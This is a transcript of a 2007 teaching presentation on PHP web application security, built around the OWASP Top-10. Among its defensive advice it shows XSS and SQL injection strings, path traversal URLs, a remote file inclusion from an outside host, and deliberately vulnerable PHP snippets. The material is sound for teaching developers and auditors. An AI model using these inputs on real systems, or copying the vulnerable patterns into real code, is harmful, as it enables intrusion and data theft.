• Share
  • Email
  • Embed
  • Like
  • Save
  • Private Content
Web Application Security with PHP
 

Web Application Security with PHP

on

  • 23,138 views

A presentation+class delivered to a PHP developer group at Brown University that discussed Web Application Security with a heavy emphasis on PHP, and discussed security in the SDLC, and showed with ...

A presentation+class delivered to a PHP developer group at Brown University that discussed Web Application Security with a heavy emphasis on PHP, and discussed security in the SDLC, and showed with some examples what to do and not do

Statistics

Views

Total Views
23,138
Views on SlideShare
23,091
Embed Views
47

Actions

Likes
14
Downloads
0
Comments
1

8 Embeds 47

http://www.slideshare.net 20
http://class2go.auca.kg 15
http://my.zur887.net 5
http://translate.googleusercontent.com 2
http://cec-online.auca.kg 2
http://www.lmodules.com 1
http://static.slidesharecdn.com 1
http://slideclip.b-prep.com 1
More...

Accessibility

Categories

Upload Details

Uploaded via as Adobe PDF

Usage Rights

© All Rights Reserved

Report content

Flagged as inappropriate Flag as inappropriate
Flag as inappropriate

Select your reason for flagging this presentation as inappropriate.

Cancel

11 of 1 previous next

  • Full Name Full Name Comment goes here.
    Are you sure you want to
    Your message goes here
    Processing…
  • good and clear
    Are you sure you want to
    Your message goes here
    Processing…
Post Comment
Edit your comment

    Web Application Security with PHP Web Application Security with PHP Presentation Transcript

    • Web Application Security Javed Ikbal www.zsquad.com Brown University, March 26, 2007
    • Background 2
    • Why Web Application Security? • Because everyone can touch web apps • And applications are hard to secure • This presentation: – Shows where web apps are vulnerable – Shows how to identify the issues – Is not a secure coding primer, only the foreword 3
    • Web Applications • ... are everywhere • More apps being web-enabled every day • CSI/FBI Survey: website incidents in 2006 by respondent % 4
    • .. “That's where the money is!” • Quote attributed to Willie Sutton, a bank robber, answering why he robbed banks. – (Invented by an enterprising reporter. Mr. Sutton never actually said this) • Why web applications are attacked? – Money? – Fame (street creds)? – Access! 5
    • Cast of Characters and Motivation Organized Crime + Insider + Hackers Hacker Insider / Student Professional Hacker Organized Crime Curiosity Risk Self-satisfaction Theft Prove a point Greed Attack launch point Disgruntled Insider Illegal downloads Hacktortion Revenge Cyber Terrorist Political Agenda Insider / Student Hacktivism Profit motivation Mercenaries Probability increases with Larger Internet presence Script Kiddies Amateurs Recognition Lets see if Notoriety I can do it Street Credentials Probability of Attack 6
    • Cast of Characters and Motivation Harvard rejects 119 accused of hacking Applicants' behavior 'unethical at best' Man charged with hacking university site A 25-year-old computer network expert from San Diego was charged this week in Los Angeles with hacking into a University of Southern California admissions site last June... In all, the attack last June compromised personal records of more than 270,000 past and present university applicants...It is believed Eric McCarty, the man charged, used a vulnerability in the online application system and gained access to personal records of applicants including dates of births and SSN numbers. Oxford students hack university network "in minutes" Two Oxford University students are facing suspension and a fine after they hacked into the University computer system to show just how easy it was to access supposedly secure personal details. 7
    • 3-Tier Web Architecture Allow just the Webserver to talk You actually have a Firewall Allow (anyone) to to the App server, and only the here? Excellent! connect to port App server to talk to the Web Allow 2-way communication 443 and Server using specific source/ between App Server and DB NOTHING ELSE destination ports Server using specific ports HTTPS ? ? Enterprise Red Zone Yellow Zone Green Zone Presentation Application Database (web server) (application server) (database server) 8
    • No Application Server Allow just the Webserver to talk to Allow (anyone) to the Database server, and only the connect to port database server to talk to the Web 443 and Server using specific source/ NOTHING ELSE destination ports Enterprise HTTPS ? Red Zone Green Zone Presentation Database (web server) (database server) 9
    • The Problem With Firewalls • Traditional Firewalls understand source and destination IP addresses and ports • Anything inside the TCP packet is invisible to the firewall • App firewalls work— hard to configure • The Castle and Moat Security Model: 10
    • HOW? • Attacks flow inside the HTTP/HTTPS request – Like poison in delicious food • Firewalls never see them • Comes from allowed sources, going to allowed destination and port – The firewall is the Moat, alligators are the attacks – So requests and responses are passed merrily along: Web server passes to app server, which forwards to database server • Need another layer of defence – Do you have a Castle inside the moat? 11
    • The Attack Surfaces 12
    • The OWASP Top-10 • From the Open Web Application Security Project – (http://www.owasp.org/) • U.S. Federal Trade Commission strongly recommends that all companies use the OWASP Top Ten and ensure that their partners do the same. • U.S. Defence Information Systems Agency lists this as part of the Defence Information Technology Security Certification and Accreditation (C&A) Process (DITSCAP). • The Payment Card Industry (PCI) standard has adopted the OWASP Top Ten, and requires (among other things) that all merchants get a security code review for all their custom code. • Many other companies have adopted the Top-Ten 13
    • The OWASP Top-10 A1. Unvalidated Input A2. Broken Access Control A3. Broken Authentication and Session Management A4. Cross Site Scripting A5. Buffer Overflow A6. Injection Flaws A7. Improper Error Handling A8. Insecure Storage A9. Application Denial of Service A10. Insecure Configuration Management 14
    • On to the Web Application • A1. Unvalidated Input – DO NOT TRUST user input – Can be the root of lots of evil – Can cause information leakage – Buffer overflow – Parameter tampering • Example: T-Shirt <input type=hidden name="Item" value="T-Shirt"><br> Price $12.00<input type=hidden name="Price" value="12.00"><br> 15
    • A1. Unvalidated Input • What is allowed and not allowed? In what format? • Secure coding: Validate and reject bad input Input Filtering – http://www.phpclasses.org/browse/package/2189.html – http://support.microsoft.com/kb/q253119/ SQL Injection – http://www.phpclasses.org/browse/package/1341.html • OWASP online resources 16
    • A1. Unvalidated Input • Best (and most time consuming) way: Source code review • Commercial tools are very expensive, but worth it depending on the information value • Application Testing Tools – Free tool: WebScarab – Commercial: AppScan, WebInspect, a few others – Still no match for an experienced human • Web App Firewalls work but require careful tuning – CodeSeeker: free application firewall from OWASP – mod_security: an Apache application security firewall 17
    • A2. Broken Access Control • Who is allowed and not allowed? – Does access privilege meet roles? – Is the data entry operator using the admin password? • Insecure ID • Forced Browsing: Security by obscurity doesn't work • Path Traversal: Relative path information (e.g., “../../target_dir/target_file”) works • File Permissions • Client-side caching • Secure coding: – Define ACLs and role-based access control – Validate ID at each access request 18
    • A3. Broken Authentication & Session Management • How is the log-in process protected? – Do NOT use referer as the primary control • Once logged in, how is the user tracked? • Password strength, use, and change process – Default accounts and passwords? • Never store actual passwords, only a hash • Credentials in transit: SSL being used? • Secure coding – Session-id should never be part of the URL, should be random and long, and should be changed often – Idle time-out should be used – Authentication screen should not use GET method 19
    • A4. Cross-Site Scripting (XSS) • Does the site echo back form data? • A way to “inject” content to a page • Can be an easy way to steal session-id • Many other ways to exploit XSS vulnerability – See the XSS FAQ • Testing: Enter <script>alert(1)</script> in web form fields. If a window pops up, you have an XSS vulnerability • Secure Coding: The OWASP way – Validate the input! 20
    • A5. Buffer Overflow • PHP and C/C++ are vulnerable, Java is not • Occurs when more information than a memory location can handle is stuffed into it – Extra information overwrites instruction location, and may get executed. • Difficult to exploit, but devastating impact (Code Red, NIMDA worms) • Keep up with patches and bug reports, and periodically scan infrastructure • Validate Input! 21
    • A6. Injection Flaws • Malformed input resulting in a command execution • Suppose login logic is like this: IF userid and password matches, set Result = 'success' IF 'success' then let user in • Attacker enters '1=1' in the userid field • SQL will evaluate this as TRUE and return 'success' • Secure coding: – Avoid making system calls – For databases, use stored procedures instead of passing user input – And did we mention input validation? 22
    • A7. Improper Error Handling • If the application fails – Will it fail closed? Fail open? – What error message is displayed? – Secure Coding: • Have a “catch-all” error trapping mechanism with custom messages • Do not dump system error messages directly [FormatException: Input string was not in a correct format.] Microsoft.VisualBasic.CompilerServices.DoubleType.Parse(String Value, NumberFormatInfo NumberFormat) +193 Microsoft.VisualBasic.CompilerServices.IntegerType.FromString(String Value) +97 [InvalidCastException: Cast from string "Select -->" to type 'Integer' is not valid.] Microsoft.VisualBasic.CompilerServices.IntegerType.FromString(String Value) +212 lpr.language_picker.get_mykey() in C:jaywebsitesabluser_controlslanguage_picker.ascx.vb:45 lpr.empbioform_langs.add_button_Click(Object sender, EventArgs e) in C:jaywebsitesqprempbioform_langs.ascx.vb:80 System.Web.UI.WebControls.Button.OnClick(EventArgs e) +108 BPeter.VAM.Button.OnClick(EventArgs pE) +71 23
    • A8. Insecure Storage • Run, don't walk, if you hear: “I wrote this encryption algorithm. It's proprietary, and very fast. Our data is protected using this algorithm.” • When it comes to cryptographic algorithms: – Proprietary or Secret Algorithm = BAD • DES is Dead. 3DES or AES is OK • SHA-1 and MD5 will be dead in a few years • What is being protected and for how long? • Secure coding: Use a tested/proven library, and protect the keys, certificates and passwords 24
    • A9. Application Denial of Service • Not network DoS (e.g. TCP SYN floods) • Can the application be crashed? • Can it be slowed down? • Can it be forced to give up information? • Secure coding: – Load test, specially what unauthenticated users can do – Do not make unnecessary database calls • E.g. Don't check userid for existence, and if found, then look for the password match – Don't make unnecessary disk reads – Serve static content as cache out of the web or app layer (or from a cache) 25
    • A10. Insecure Configuration • Wide range of misconfigurations – Or outdated systems • Unpatched security flaws • Unnecessary default, backup, or sample files • Improper file permissions • Unnecessary services enabled • Default accounts with their default passwords • Overly informative error messages • Misconfigured encryption settings • Default or self-signed certificates • Improper authentication with external systems 26
    • A10. Insecure Configuration • Do you rename your files as .old or .bak? • Or put the database config in a .inc file? – I used to. Not any more. Use db.inc (or some other inc file for database connection credentials? Where is this .inc file located? If someone can guess the path, the contents will be displayed! Move above webroot, or rename to .php 27
    • A10. Insecure Configuration • Using JavaScript to enforce security? <script src="javascript/globalattrib.js" type="text/javascript"></script> • Contents of globalattrib.js: // Global constants BRole = "B"; MRole = "M"; AdminRole = "ADMIN"; var maxBlockRecords = 20; • I can write my own HTML and set whatever variable value I want 28
    • Recommended PHP Configuration display_errors = Off (turn on with ini_set or .htaccess) log_errors = On error_reporting = E_ALL (better error reporting) session.gc_maxlifetime=600 (ten minutes of inactivity) safe_mode = On (enable if possible) safe_mode_gid = On (enable if possible) 29
    • Secure Development Process • Start with Guidelines, Policies and Standards Security starts here? Security starts here? Good! Not good. Security Design Code Penetration Requirements Review Review Testing DEPLOY/ Requirements DESIGN DEVELOP TEST IMPLEMENT MAINTAIN 30
    • 10 Principles of Secure Coding 1. Security should be seen as an integral part of the application design process and not as an afterthought. 2. “Security through obscurity,” or relying on others not knowing what you are doing, is a highly unreliable security practice. 3. Simplicity of application design simplifies the application of security. 4. All input is to be distrusted, even when coming from trusted systems. 5. All entities in the system should be granted the least level of privilege required to accomplish their necessary tasks. 31
    • 10 Principles of Secure Coding 6. When an error is encountered, ensure that the system fails in a secure manner. 7. Force all permissions in the system to be explicitly granted or else be denied. 8. Any and all output must be sanitized to prevent information disclosure or relayed attacks. 9. Application segmentation is a useful technique to limit an attacker’s range of action. 10. Multi-layered security models reduce the impact of individual security bypasses. 32
    • Data Validation • Validate all data coming from the client/browser. Ensure all data is: – Well formed, and – Of a proper length (both maximum and minimum length checks are required) • Validation must occur before using or storing the data. • Do not base security on HTTP Referer • All data validation must occur on the server-side. – Optionally, client side validation (JavaScript, etc) may be used as another layer but should never be the only method 33
    • Data Validation Required: • Only checking for null or empty values does not satisfy the requirements for a well-formed and length check on the incoming data fields. Each field needs some level of validation to ensure it does not contain malicious data. • Suspicious characters related to Cross-site Scripting attacks should NOT be allowed unless they are required by the application. The suspicious characters (sorted by highest risk) include: < > “ ‘ ( ) ; % + & 34
    • Application Security with some PHP examples 35
    • PHP Security Resources • All software has bugs • PHP itself is no exception – MOPB: http://www.php-security.org/ • http://www.modsecurity.org/ – Web Application Firewall for PHP • Bad news: mod_security itself had issues • Zend has issues too • Your PHP code may (will) have security issues. Security guide: – http://phpsec.org/projects/guide/ 36
    • OWASP A1: Unvalidated Input • Anything you create does not need further validation. $email = 'javed@zsquad.com'; can be trusted • Everything else needs to be validated $email = $_POST['email']; can NOT be trusted • Validate all input at the server, even if its validated on the client once • Use a centralized validation engine (makes maintenance easier) • If possible, use a “approved”-list instead of a “deny”-list. Deny if not explicitly approved • Decode URLs before validation • Reading a filename or path? Verify! • Verify XML documents against schema 37
    • OWASP A1: Unvalidated Input • If you allow any input AND render it as-is, people can add JavaScript to your page. Result: anyone viewing that page could lose their session cookie to an attacker. <form action="comment.php" method="POST" /> <p>Name: <input type="text" name="name" /><br /> Comment: <textarea name="comment" rows="10" cols="60"></textarea><br /> <input type="submit" value="Add Comment" /></p> </form> <?php echo "<p>$name writes:<br />"; echo "<blockquote>$comment</blockquote></p>"; ?> • Distrust user input and any data coming from the browser, like http referer 38
    • PHP register_global • http://us2.php.net/register_globals • register_global is a PHP directive that, when 'ON', allows variables with global scope to be 'seen' by your script • Turned off by default starting with PHP 4.2.0 <?php // http://thispage.com/auth.php // define $authorized = true only if user is authenticated if (authenticated_user()) { $authorized = true; } // what if I type: // http://thispage.com/auth.php?authorized=1 // I just passed the IF test and set $authorized = true if ($authorized) { include "/highly/sensitive/data.php"; } ?> 39
    • PHP register_global • Or how about this: // this file = loadscript.php <?php include "$path/script.php"; // verify password .... ?> • With register_global ON, I can get the page with loadscript.php?path=http://zsquad.com/evil and instead of the local script.php, your PHP code will load http://zsquad.com/evil/script.php 40
    • PHP register_global • Remediation: – Turn it off: WILL break lots of scripts – Rewrite using $_POST and $_GET superglobals – Explicitly initialize variables – Develop with error_reporting set to E_ALL • mod_security: (just blocking $authorized) <Location "/vulnerable-application/"> SecFilterSelective ARG_authorized "!^$" </Location> • Disable globally, then use .htaccess to turn on selectively for apps that need it (and then fix those) php_value register_globals 1 41
    • Back to .inc files • Sample database.inc: <?php // filename: database.inc $host = 'example.org'; $username = 'myuser'; $password = 'myR3@77yKOMplICATEDpassW04d'; $db = mysql_connect($host, $username, $password); ?> • Apache will happily serve up .inc file source • Sysadmins: add to httpd.conf (on Apache) <Files ~ ".inc$"> Order allow,deny Deny from all </Files> 42
    • Databases (MySql or SQL Server) • If you are passing unfiltered input to the database, someone may send in additional commands • Password change dialog: whatever is in the new password field is used to construct the SQL UPDATE users SET password = $newpass WHERE username = 'javed'; • I can't change username, but I am entering $newpass • What will the same SQL look like if I entered $newpass = 'myNewPass' where username = 'javed' or username like 'pat%' -- UPDATE users SET password = 'myNewPass' where username = 'javed' or username like 'pat%' -- 43
    • Database issues contd. • For MySql, use mysql_real_escape_string() • Similar functions available for most databases • If nothing is available, use addslashes() • The PHP directive magic_quotes_gpc is on by default, and it essentially runs addslashes() on all GET, POST, and COOKIE data. – Do not use addslashes() on strings that have already been escaped with magic_quotes_gpc as this will result in double escaping. – Use get_magic_quotes_gpc() to check 44
    • Session Management • How do we keep track of users once they log in? • Can Johnny claim that he is James? • Regenerate session id after login and everytime privilege changes. Heck, do it every 15 minutes. <?php session_start(); if (!isset($_SESSION['initiated'])){ session_regenerate_id(); $_SESSION['initiated'] = true; } ?> 45
    • Session Management • By default, session data is stored in /tmp • So if you and I share a server, can I read your session data? – Probably. Session files are owned by the webserver process. My PHP scripts will be able to read them. – safe_mode directive can block PHP. I can easily write the code in Perl to read the files. • Once I have the session data, I can set the cookie, and assume another user's identity • So store the sessions in a database – http://www.phpclasses.org/browse/package/1624.html • Other methods: – http://www.phpclasses.org/browse/package/2794.html 46
    • Application Audit (or how not to develop web applications) 47
    • A “Testing” site http://www.acme-hackme.com/ 48
    • FireFox with Web Developer Extn • http://zsquad.com/download, or • http://getfirefox.com & http://chrispederick.com/work/webdeveloper/ • Lets start at: http://www.acme-hackme.com/feedback.aspx • From the WDE menu: – select Forms->Display Form Details 49
    • FireFox with Web Developer Extn • Hmm.. a hidden field with what looks like a filename • What will happen if I change the filename? – What if I change the name AND the path? • Instant defacement (or phishing!) 50
    • Directory Traversal http://www.acme-hackme.com/default.aspx?content=pr/20061109.htm • default.aspx is passed the path to a filename, and it is displayed. • Can we guess paths and other filenames? http://www.acme-hackme.com/default.aspx?content=../pr/20061109.htm • Ouch! (or Got you!) 51
    • Default Accounts • We can login with 'admin' & 'admin' – Ok, that's just an extreme example • What happens if we don't enter a passwod? – A JavaScript popup – WDE ->Disable->JavaScript->All JavaScript • No popups, no warnings: • Doing client side validation only 52
    • Brief Detour to Error Messages • From another site: Error Diagnostic Information ODBC Error Code = 37000 (Syntax error or access violation) [Microsoft][ODBC SQL Server Driver][SQL Server]Line 3: Incorrect syntax near '='. SQL = "Update tblMember set dteEdited=getdate() where intResID=" • Error message giving up table name, a date field, and the index to the table. 53
    • SQL Injection Attack • A forced error may show the SQL • Or the attacker can just guess – SQL query for authentication probably looks like: “select * from users where user='userID' and pass='password' • The userID and password is taken from the web form • So if I enter: aa' or user like 'a%' -- • The SQL becomes: select * from users where user='aa' OR user like 'a%' -- ' and pass='password' which becomes: • select * from users where user like 'a%' 54
    • SQL Injection Attack 55
    • Parameter Injection 56
    • Parameter Injection http://www.acme-hackme.com/bank/customize.aspx?lang= <img src='http://images.slashdot.org/topics/topicscience.gif'> 57
    • Once more: • Secure Applications do not “happen” – They are consciously designed and built • Conclusion: Any given large web application, unless extensively tested: – Will have vulnerabilities • Not too difficult to find • Educate development group • Audit staff is the last line of defence 58
    • Web App Auditing in 5 Steps: • 1. Do you have authorization and a GET OUT OF JAIL FREE letter? • 2. Find all web forms in the application. • Look for hidden fields (use WDE). How is the information being used? • In all the form fields, enter the following: <script>alert("Hello")</script> and submit – (use WDE to bypass length restrictions). If you see a pop-up, you just broke the app and launched a successful cross-site scripting attack 59
    • Web App Auditing in 5 Steps: • 3. Use WDE to display the form detail for all forms, specially log-in forms • If you see METHOD=”GET” that is a problem (information will be stored in logs) • 4. Add ../ in the URL. See what the error message is • 5. In login forms, enter a single quote (') and see what the error message is. If the output contains “SQL” anywhere, there might be potential SQL injection issues 60
    • Questions 61